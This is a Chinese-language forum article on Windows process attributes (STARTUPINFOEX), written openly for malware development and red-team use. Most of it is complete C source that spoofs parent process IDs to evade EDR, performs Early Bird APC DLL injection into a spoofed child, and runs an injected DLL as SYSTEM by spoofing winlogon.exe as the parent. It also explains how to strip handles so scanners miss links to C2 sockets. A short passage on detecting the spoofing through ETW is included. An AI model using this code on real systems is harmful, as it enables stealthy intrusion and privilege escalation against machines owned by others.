-
-
深入理解 Windows 进程属性:从 PPID 欺骗到句柄继承
-
发表于: 2天前 356
-
在 Windows 恶意软件开发和红队行动中,如何让恶意进程在系统中看起来“人畜无害”是一项重要技能。本文将探讨STARTUPINFOEX 结构体,揭示如何通过它来实现父进程 ID (PPID) 欺骗、Early Bird 注入以及精确的句柄继承控制。
1. 基础介绍
1.1 结构体 STARTUPINFO
STARTUPINFO 主要用于在创建新进程(调用 CreateProcess 函数)时,指定新进程的主窗口应当如何显示以及标准输入输出句柄的处理方式等信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | typedef struct _STARTUPINFO { DWORD cb; // 结构体的大小 (以字节为单位) LPTSTR lpReserved; // 保留,必须为 NULL LPTSTR lpDesktop; // 指定桌面名称 (通常为 NULL) LPTSTR lpTitle; // 控制台窗口的标题 DWORD dwX; // 窗口左上角 X 坐标 DWORD dwY; // 窗口左上角 Y 坐标 DWORD dwXSize; // 窗口宽度 (像素) DWORD dwYSize; // 窗口高度 (像素) DWORD dwXCountChars; // 控制台窗口缓冲区宽度 (字符数) DWORD dwYCountChars; // 控制台窗口缓冲区高度 (字符数) DWORD dwFillAttribute; // 控制台文本和背景颜色 DWORD dwFlags; // 标志位:决定哪些成员是有效的 WORD wShowWindow; // 窗口显示状态 (如 SW_HIDE, SW_MAXIMIZE) WORD cbReserved2; // 保留,必须为 0 LPBYTE lpReserved2; // 保留,必须为 NULL HANDLE hStdInput; // 标准输入句柄 HANDLE hStdOutput; // 标准输出句柄 HANDLE hStdError; // 标准错误句柄} STARTUPINFO, *LPSTARTUPINFO; |
在使调用 CreateProcess 创建进程前,必须初始化 STARTUPINFO。
1 2 3 | STARTUPINFO si = { 0 };PROCESS_INFORMATION pi = { 0 };si.cb = sizeof(si); |
1.2 结构体 STARTUPINFOEX
Windows 在 Vista / Windows Server 2008 引入了一个增强版的启动结构体:STARTUPINFOEX。这个结构体比普通的 STARTUPINFO 多了一个成员:lpAttributeList(属性列表)。
1 2 3 4 | typedef struct _STARTUPINFOEXA { STARTUPINFOA StartupInfo; LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; //属性列表} STARTUPINFOEXA, *LPSTARTUPINFOEXA; |
STARTUPINFOEX 引入属性列表lpAttributeList,目的在于更有针对性地设置进程的各种属性,包括子进程应该继承父进程的哪些句柄、是否可以加载非微软签名的 DLL ,以及支持 AppContainer(应用容器)和 UWP 应用的进程归属等等。
1.3 函数 InitializeProcThreadAttributeList()
InitializeProcThreadAttributeList() 用于初始化创建进程或线程时所需的属性列表。
1 2 3 4 5 6 | BOOL InitializeProcThreadAttributeList( [out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, //属性列表 [in] DWORD dwAttributeCount, //要添加到列表的属性计数 DWORD dwFlags, //此参数是保留的,必须为零。 [in, out] PSIZE_T lpSize //如果 lpAttributeList 不为 NULL,则此参数指定输入时 lpAttributeList 缓冲区的大小(以字节为单位)。 输出时,此参数接收初始化的属性列表的大小(以字节为单位)。如果 lpAttributeList 为 NULL,则此参数接收所需的缓冲区大小(以字节为单位)。); |
属性列表的初始化比较特殊,需要调用两次:第一次确定需要多大的内存,第二次才真正填充数据。
1 2 3 4 5 6 | STARTUPINFOEXA siex = { 0 };// 第一次调用:获取属性列表所需的内存大小InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);siex.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);// 第二次调用:正式初始化属性列表InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &attributeSize); |
lpAttributeList 指向的内存必须持续有效,直到 DeleteProcThreadAttributeList 被调用,如果在 CreateProcess 之前释放了该内存,进程的属性设置就不会奏效。
1.4 函数 UpdateProcThreadAttribute ()
UpdateProcThreadAttribute() 用于在创建进程或线程之前,精确设置其属性(如父进程分配、句柄继承、缓解策略等)。
1 2 3 4 5 6 7 8 9 | BOOL UpdateProcThreadAttribute( [in, out] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, //指向属性列表的指针 [in] DWORD dwFlags, //保留,必须为 0 [in] DWORD_PTR Attribute, //指定要修改的进程属性 [in] PVOID lpValue, //指向属性值 (Value) 的指针 [in] SIZE_T cbSize, //lpValue 数据的大小 [out, optional] PVOID lpPreviousValue, //保留,通常为 NULL [in, optional] PSIZE_T lpReturnSize //保留,通常为 NULL); |
lpAttributeList 指向的内存是“不透明的”,在设置进程属性列表时,需要按照以下步骤操作:
- InitializeProcThreadAttributeList(第一次调用获取所需大小)
- 分配内存
- InitializeProcThreadAttributeList(第二次调用初始化)
- UpdateProcThreadAttribute(添加属性)
- 调用 CreateProcess
- DeleteProcThreadAttributeList(清理)
2. 父进程欺骗
2.1 技术介绍(PPID Spoofing)
父进程欺骗(Parent Process Spoofing),也被称为 PPID Spoofing,是一种通过篡改进程创建参数,使新进程看起来是由另一个合法的系统进程(而非实际的创建者)启动的技术。
EDR(端点检测与响应系统)和杀毒软件通常会监控异常的父子进程关系。
- 异常行为:Word.exe -> PowerShell.exe (高度可疑,通常是宏病毒)。
- 欺骗后:Word.exe 启动了 PowerShell,但指认 Explorer.exe 为父进程。安全软件看到的是 Explorer.exe -> PowerShell.exe (这是用户正常打开终端的行为,可能会被放行)。
例如,正常点击 cmd 程序后,可以看出 cmd.exe 是由资源管理器进程 explorer.exe 创建的, explorer.exe 就是 cmd.exe 的父进程

通过伪造 cmd.exe 的父进程后,上面正常的进程树就会被改变。
2.2 代码实现
2.2.1 正常情况的进程关系
正常情况下,在 Visual Studio 编译的程序 testcmd.exe 调用CreateProcess 创建 cmd.exe 进程,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | #define _CRT_SECURE_NO_WARNINGS#include <windows.h>#include <tlhelp32.h>#include <stdio.h>int main() { STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; si.cb = sizeof(si); BOOL success = CreateProcess( "C:\\Windows\\System32\\cmd.exe", // 模块名 NULL, // 命令行 NULL, // 进程安全属性 NULL, // 线程安全属性 FALSE, // 是否继承句柄 CREATE_NEW_CONSOLE, // 创建标志,CREATE_NEW_CONSOLE确保弹出新窗口 NULL, // 环境变量 NULL, // 当前目录 &si, // 指向 STARTUPINFO 或者 STARTUPINFOEX 指针 &pi // PROCESS_INFORMATION 指针 ); if (success) { printf("cmd 已启动,PID: %d\n", pi.dwProcessId); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } else { printf("创建进程失败,错误代码: %d\n", GetLastError()); } return 0;} |
进程树应该如下图所示, testcmd.exe 是 cmd.exe 的父进程
2.2.2 父进程欺骗后的进程关系
根据上面所介绍的关于进程属性列表的内容,函数 InitializeProcThreadAttributeList() 和 UpdateProcThreadAttribute() 可以用于设置进程属性,包括改变进程的父进程,具体代码实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 | #define _CRT_SECURE_NO_WARNINGS#include <windows.h>#include <tlhelp32.h>#include <stdio.h>// 根据进程名获取 PID 的函数DWORD GetPidByName(const char* processName) { HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 entry = { sizeof(PROCESSENTRY32) }; if (Process32First(snapshot, &entry)) { do { if (_stricmp(entry.szExeFile, processName) == 0) { CloseHandle(snapshot); return entry.th32ProcessID; } } while (Process32Next(snapshot, &entry)); } CloseHandle(snapshot); return 0;}int main() { // 1. 目标:找到notepad++.exe 的 PID DWORD parentPid = GetPidByName("notepad++.exe"); if (parentPid == 0) { printf("请先运行notepad++程序!\n"); return 1; } // 2. 打开父进程,获取句柄,需要 PROCESS_CREATE_PROCESS 权限 HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid); if (hParent == NULL) return 1; // 3. 初始化扩展启动信息结构体 STARTUPINFOEXA siex = { 0 }; PROCESS_INFORMATION pi = { 0 }; SIZE_T attributeSize; // 第一次调用:获取属性列表所需的内存大小 InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize); siex.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize); // 第二次调用:正式初始化属性列表 InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &attributeSize); // 4. 更新属性列表:设置父进程属性 UpdateProcThreadAttribute( siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL ); siex.StartupInfo.cb = sizeof(STARTUPINFOEXA); // 5. 创建进程 // 使用 EXTENDED_STARTUPINFO_PRESENT 标志告诉系统我们使用了扩展启动信息 BOOL success = CreateProcessA( "C:\\Windows\\System32\\cmd.exe", // 要启动的程序 NULL, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, &siex.StartupInfo, &pi ); if (success) { printf("cmd 已启动,PID: %d,伪造父进程 PID: %d\n", pi.dwProcessId, parentPid); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } else { printf("创建进程失败,错误代码: %d\n", GetLastError()); } // 6. 清理 DeleteProcThreadAttributeList(siex.lpAttributeList); HeapFree(GetProcessHeap(), 0, siex.lpAttributeList); CloseHandle(hParent); return 0;} |
现在 cmd.exe 的父进程就不再是 testcmd.exe 了,而是 notepad++.exe

不过,要识破父进程欺骗,找到真正的父进程也不是难事,在内核层(EPROCESS 结构)或通过 ETW (Event Tracing for Windows) 依然可以追踪到真实的创建者,例如通过分析 Microsoft-Windows-Kernel-Process 事件日志中的 CreatorProcessID 就可以找到真正的父进程。文末的参考链接有详细说明。
2.3 内核层的变化
在前面的代码添加以下内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | ………………typedef struct _MY_PROCESS_BASIC_INFORMATION { NTSTATUS ExitStatus; PVOID PebBaseAddress; ULONG_PTR AffinityMask; LONG BasePriority; ULONG_PTR UniqueProcessId; ULONG_PTR InheritedFromUniqueProcessId; // 关键字段:父进程PID} MY_PROCESS_BASIC_INFORMATION;// 2. 定义 NtQueryInformationProcess 函数原型typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)( HANDLE ProcessHandle, ULONG ProcessInformationClass, // 使用 ULONG 避免类型冲突 PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength );………………………………MY_PROCESS_BASIC_INFORMATION pbi;ULONG returnLength;// 从 ntdll.dll 中动态获取函数地址HMODULE hNtdll = GetModuleHandleA("ntdll.dll");if (hNtdll) { pNtQueryInformationProcess NtQueryInfo = (pNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");if (NtQueryInfo) { // 第一个参数是新创建进程的句柄 pi.hProcess // 第二个参数 0 代表 ProcessBasicInformation NTSTATUS status = NtQueryInfo(pi.hProcess, 0, &pbi, sizeof(pbi), &returnLength); if (status == 0) { // 0 代表成功 (STATUS_SUCCESS) printf("\n--- 内核档案验证 ---\n"); printf("新进程 PID: %zu\n", (size_t)pbi.UniqueProcessId); printf("新进程记录的父进程 PID: %zu\n", (size_t)pbi.InheritedFromUniqueProcessId); if (pbi.InheritedFromUniqueProcessId == parentPid) { printf("验证结果:伪造成功!内核已确认为其分配了伪造的父进程。\n"); } else { printf("验证结果:父进程 PID 不匹配。\n"); } } else { printf("NtQueryInformationProcess 调用失败,错误码: 0x%X\n", status); }} |
可以观察到内核进程结构体PROCESS_BASIC_INFORMATION 的成员 InheritedFromUniqueProcessId(父进程PID) 已经被设置为被伪造的父进程 PID 的值 (29912 )了,也就是代码中的 parentPid 。
3. 早鸟注入(Early Bird Injection)
早鸟注入的具体原理和实现已在之前的文章中介绍过了,可以点击链接查看 https://bbs.kanxue.com/thread-285748-1.htm
简而言之,Early Bird 注入的核心在于利用进程创建时的“挂起”状态。在主线程运行前,将恶意代码排入异步过程调用(APC)队列,一旦线程恢复,恶意代码将在程序入口点之前率先执行。
下面就直接贴代码了,在父进程欺骗的基础上实现早鸟注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 | #define _CRT_SECURE_NO_WARNINGS#include <windows.h>#include <tlhelp32.h>#include <stdio.h>// 获取进程 PIDDWORD GetPidByName(const char* processName) { DWORD pid = 0; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot != INVALID_HANDLE_VALUE) { PROCESSENTRY32 entry = { sizeof(PROCESSENTRY32) }; if (Process32First(snapshot, &entry)) { do { if (_stricmp(entry.szExeFile, processName) == 0) { pid = entry.th32ProcessID; break; } } while (Process32Next(snapshot, &entry)); } CloseHandle(snapshot); } return pid;}int main() { // --- 配置 --- const char* targetPath = "C:\\Windows\\System32\\notepad.exe"; const char* parentName = "explorer.exe"; const char* dllPath = "F:\\Test\\InjectDll.dll"; // 初始化句柄和资源指针,方便统一清理 HANDLE hParent = NULL; HANDLE hProcess = NULL; HANDLE hThread = NULL; PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList = NULL; LPVOID remoteBuf = NULL; BOOL bSuccess = FALSE; do { // 1. 获取父进程句柄 DWORD parentPid = GetPidByName(parentName); if (parentPid == 0) { printf("[-] 找不到父进程: %s\n", parentName); break; } hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid); if (!hParent) { printf("[-] OpenProcess 失败: %d\n", GetLastError()); break; } // 2. 初始化属性列表 (用于父进程欺骗) SIZE_T attributeSize = 0; InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize); lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize); if (!lpAttributeList) break; if (!InitializeProcThreadAttributeList(lpAttributeList, 1, 0, &attributeSize)) break; if (!UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL)) { printf("[-] 属性更新失败: %d\n", GetLastError()); break; } // 3. 创建挂起的进程 STARTUPINFOEXA siex = { 0 }; PROCESS_INFORMATION pi = { 0 }; siex.StartupInfo.cb = sizeof(STARTUPINFOEXA); siex.lpAttributeList = lpAttributeList; if (!CreateProcessA(NULL, (LPSTR)targetPath, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, NULL, NULL, &siex.StartupInfo, &pi)) { printf("[-] 进程创建失败: %d\n", GetLastError()); break; } hProcess = pi.hProcess; hThread = pi.hThread; printf("[+] 目标进程已创建 (PID: %d)\n", pi.dwProcessId); // 4. 注入 DLL 路径字符串 SIZE_T pathLen = strlen(dllPath) + 1; remoteBuf = VirtualAllocEx(hProcess, NULL, pathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!remoteBuf) { printf("[-] 分配内存失败: %d\n", GetLastError()); break; } if (!WriteProcessMemory(hProcess, remoteBuf, dllPath, pathLen, NULL)) { printf("[-] 写入内存失败: %d\n", GetLastError()); break; } // 5. 获取 LoadLibraryA 地址并入队 APC (早鸟注入核心) FARPROC pLoadLibrary = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"); if (!pLoadLibrary) { printf("[-] 获取LoadLibraryA函数地址失败: %d\n", GetLastError()); break; } if (!QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)remoteBuf)) { printf("[-] APC 入队失败\n"); break; } // 6. 恢复线程 ResumeThread(hThread); bSuccess = TRUE; printf("[+] 注入指令已提交,线程已恢复执行\n"); } while (0); // --- 统一清理资源 --- if (!bSuccess && hProcess) { TerminateProcess(hProcess, 0); // 如果中间失败,清理掉创建的进程 } if (hThread) CloseHandle(hThread); if (hProcess) CloseHandle(hProcess); if (lpAttributeList) { DeleteProcThreadAttributeList(lpAttributeList); HeapFree(GetProcessHeap(), 0, lpAttributeList); } if (hParent) CloseHandle(hParent); return bSuccess ? 0 : 1;} |
成功实现注入
而且 notepad 的父进程已经被篡改为explorer.exe。
4. 管理员权限继承
通过管理员权限启动一个子进程,默认它依然是管理员权限。通过父进程欺骗,指定一个处于 Session 0 且拥有 SYSTEM 令牌的进程(如 winlogon.exe)作为父进程时,新创建的进程会进入该父进程的会话环境,注入的 dll 文件会在 SYSTEM 权限下运行。
以下是代码示例,在父进程欺骗+早鸟注入的基础上,让注入的 dll 在 SYSTEM 权限运行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 | #define _CRT_SECURE_NO_WARNINGS#include <windows.h>#include <tlhelp32.h>#include <stdio.h>// 1. 提权函数:启用当前进程的调试权限 (SE_DEBUG_NAME)// 这是打开 SYSTEM 进程句柄的必要前提BOOL EnableDebugPrivilege() { HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tp; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return FALSE; if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { CloseHandle(hToken); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { CloseHandle(hToken); return FALSE; } CloseHandle(hToken); return GetLastError() != ERROR_NOT_ALL_ASSIGNED;}DWORD GetPidByName(const char* processName) { DWORD pid = 0; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot != INVALID_HANDLE_VALUE) { PROCESSENTRY32 entry = { sizeof(PROCESSENTRY32) }; if (Process32First(snapshot, &entry)) { do { if (_stricmp(entry.szExeFile, processName) == 0) { pid = entry.th32ProcessID; break; } } while (Process32Next(snapshot, &entry)); } CloseHandle(snapshot); } return pid;}int main() { // --- 配置 --- // 目标选择一个系统路径下的程序 const char* targetPath = "C:\\Program Files\\Notepad++\\notepad++.exe"; // 父进程选择 SYSTEM 权限的 winlogon.exe const char* parentName = "winlogon.exe"; const char* dllPath = "F:\\Test\\InjectDll.dll"; HANDLE hParent = NULL, hProcess = NULL, hThread = NULL; PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList = NULL; LPVOID remoteBuf = NULL; BOOL bSuccess = FALSE; // A. 提升自身权限 if (!EnableDebugPrivilege()) { printf("[-] 提权失败,请以管理员身份运行!\n"); return 1; } printf("[+] 提权成功 \n"); do { // 1. 获取 SYSTEM 父进程句柄 DWORD parentPid = GetPidByName(parentName); if (parentPid == 0) { printf("[-] 找不到父进程: %s\n", parentName); break; } // 需要 PROCESS_CREATE_PROCESS 权限来欺骗父进程 hParent = OpenProcess(PROCESS_CREATE_PROCESS | PROCESS_QUERY_INFORMATION, FALSE, parentPid); if (!hParent) { printf("[-] 无法打开系统进程,错误码: %d\n", GetLastError()); break; } // 2. 初始化属性列表 SIZE_T attributeSize = 0; InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize); lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize); InitializeProcThreadAttributeList(lpAttributeList, 1, 0, &attributeSize); UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL); // 3. 创建挂起的进程 STARTUPINFOEXA siex = { 0 }; PROCESS_INFORMATION pi = { 0 }; siex.StartupInfo.cb = sizeof(STARTUPINFOEXA); siex.lpAttributeList = lpAttributeList; // 使用 EXTENDED_STARTUPINFO_PRESENT 配合属性列表 if (!CreateProcessA(NULL, (LPSTR)targetPath, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, NULL, NULL, &siex.StartupInfo, &pi)) { printf("[-] 进程创建失败: %d\n", GetLastError()); break; } hProcess = pi.hProcess; hThread = pi.hThread; printf("[+] 目标进程已创建 (PID: %d),其父进程已伪造为 %s (SYSTEM)\n", pi.dwProcessId, parentName); // 4. 注入 DLL 路径 SIZE_T pathLen = strlen(dllPath) + 1; remoteBuf = VirtualAllocEx(hProcess, NULL, pathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!remoteBuf) break; WriteProcessMemory(hProcess, remoteBuf, dllPath, pathLen, NULL); // 5. 早鸟注入:QueueUserAPC FARPROC pLoadLibrary = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"); if (!QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)remoteBuf)) break; // 6. 恢复线程执行 ResumeThread(hThread); bSuccess = TRUE; printf("[+] 注入指令成功提交!\n"); } while (0); // 清理资源 if (lpAttributeList) { DeleteProcThreadAttributeList(lpAttributeList); HeapFree(GetProcessHeap(), 0, lpAttributeList); } if (hParent) CloseHandle(hParent); if (hProcess) CloseHandle(hProcess); if (hThread) CloseHandle(hThread); system("pause"); return bSuccess ? 0 : 1;} |
父进程欺骗成功
DLL 注入成功
用管理员权限打开 cmd,然后执行命令tasklist /V /FI "IMAGENAME eq notepad++.exe" 查看,显示 notepad++.exe 的运行权限是 SYSTEM
(编译后的程序启动时<font style="color:rgb(26, 28, 30);">具备管理员权限才能成功执行此操作)
5. 控制句柄继承
之前调用 CreateProcess 时,要么继承父进程所有可继承的句柄,要么一个都不继承。如果一个高权限进程打开了敏感文件句柄,然后启动了一个低权限的子进程,子进程可能会意外获得访问该敏感文件的能力。STARTUPINFOEX 引入了 PROC_THREAD_ATTRIBUTE_HANDLE_LIST;父进程可以明确列出一份“白名单”,规定子进程只能继承哪几个句柄。
以下是一个简单的示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 | #include <windows.h>#include <stdio.h>int main() { // 资源定义 HANDLE hSecretFile = INVALID_HANDLE_VALUE; HANDLE hPublicFile = INVALID_HANDLE_VALUE; PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList = NULL; SIZE_T attributeSize = 0; STARTUPINFOEXA si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; // 安全属性:允许句柄被继承 SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE }; do { // 1. 创建第一个文件:秘密文件 (我们不想让子进程关联到这个) hSecretFile = CreateFileA("secret.txt", GENERIC_WRITE, FILE_SHARE_READ, &sa, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hSecretFile == INVALID_HANDLE_VALUE) break; WriteFile(hSecretFile, "This is secret data", 19, NULL, NULL); printf("[+] 秘密文件句柄已创建: %p\n", hSecretFile); // 2. 创建第二个文件:公共文件 (只允许继承这个) hPublicFile = CreateFileA("public.txt", GENERIC_WRITE, FILE_SHARE_READ, &sa, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hPublicFile == INVALID_HANDLE_VALUE) break; printf("[+] 公共文件句柄已创建: %p\n", hPublicFile); // 3. 初始化属性列表:准备白名单 // 我们只打算把 hPublicFile 放入白名单 InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize); lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize); if (!lpAttributeList) break; if (!InitializeProcThreadAttributeList(lpAttributeList, 1, 0, &attributeSize)) break; // 4. 【核心点】:设置 PROC_THREAD_ATTRIBUTE_HANDLE_LIST // 只有出现在这个数组里的句柄才会被子进程继承 HANDLE hInheritList[] = { hPublicFile }; if (!UpdateProcThreadAttribute( lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_HANDLE_LIST, hInheritList, sizeof(hInheritList), NULL, NULL)) { printf("[-] 无法更新属性列表: %d\n", GetLastError()); break; } si.lpAttributeList = lpAttributeList; // 5. 创建子进程 // 注意:bInheritHandles 必须为 TRUE,否则属性列表中的句柄设置无效 printf("[*] 正在启动子进程 (cmd.exe)...\n"); if (!CreateProcessA( NULL, (LPSTR)"C:\\Windows\\System32\\cmd.exe /c \"timeout 10\"", NULL, NULL, TRUE, // 必须为 TRUE EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) { printf("[-] 进程创建失败: %d\n", GetLastError()); break; } printf("[+] 子进程 PID: %d 已启动\n", pi.dwProcessId); printf("[!] 现在请使用 Process Hacker 或 Handle.exe 查看子进程的句柄表。\n"); printf("[!] 你会发现子进程只继承了 public.txt 的句柄,而没有 secret.txt。\n"); // 等待子进程结束 WaitForSingleObject(pi.hProcess, INFINITE); } while (0); // 清理 if (pi.hProcess) CloseHandle(pi.hProcess); if (pi.hThread) CloseHandle(pi.hThread); if (hSecretFile != INVALID_HANDLE_VALUE) CloseHandle(hSecretFile); if (hPublicFile != INVALID_HANDLE_VALUE) CloseHandle(hPublicFile); if (lpAttributeList) { DeleteProcThreadAttributeList(lpAttributeList); HeapFree(GetProcessHeap(), 0, lpAttributeList); } return 0;} |
- 父进程:同时拥有secret.txt和public.txt的句柄。
- 子进程:只会拥有public.txt的句柄。


攻击者通常将此技术用于内网渗透阶段。例如:父进程是一个具有高权限的注入进程,它正通过 Socket 与 C2 (控制端) 通信并打开了大量的系统配置文件。当它需要生成一个子进程(如 whoami)来收集信息时,它会利用此 API 剔除掉所有敏感的 Socket 和文件句柄,防止安全扫描软件发现子进程与非法网络通信之间的句柄联系。
6. 参考链接
奇安信攻防社区-Parent Process ID (PPID) Spoofing
早鸟注入PPID欺骗EDR绕过免杀加载器-腾讯云开发者社区-腾讯云
使用volatility3识别进程上下文——识别进程名欺骗、父进程欺骗、进程镂空(进程掏空) - bonelee - 博客园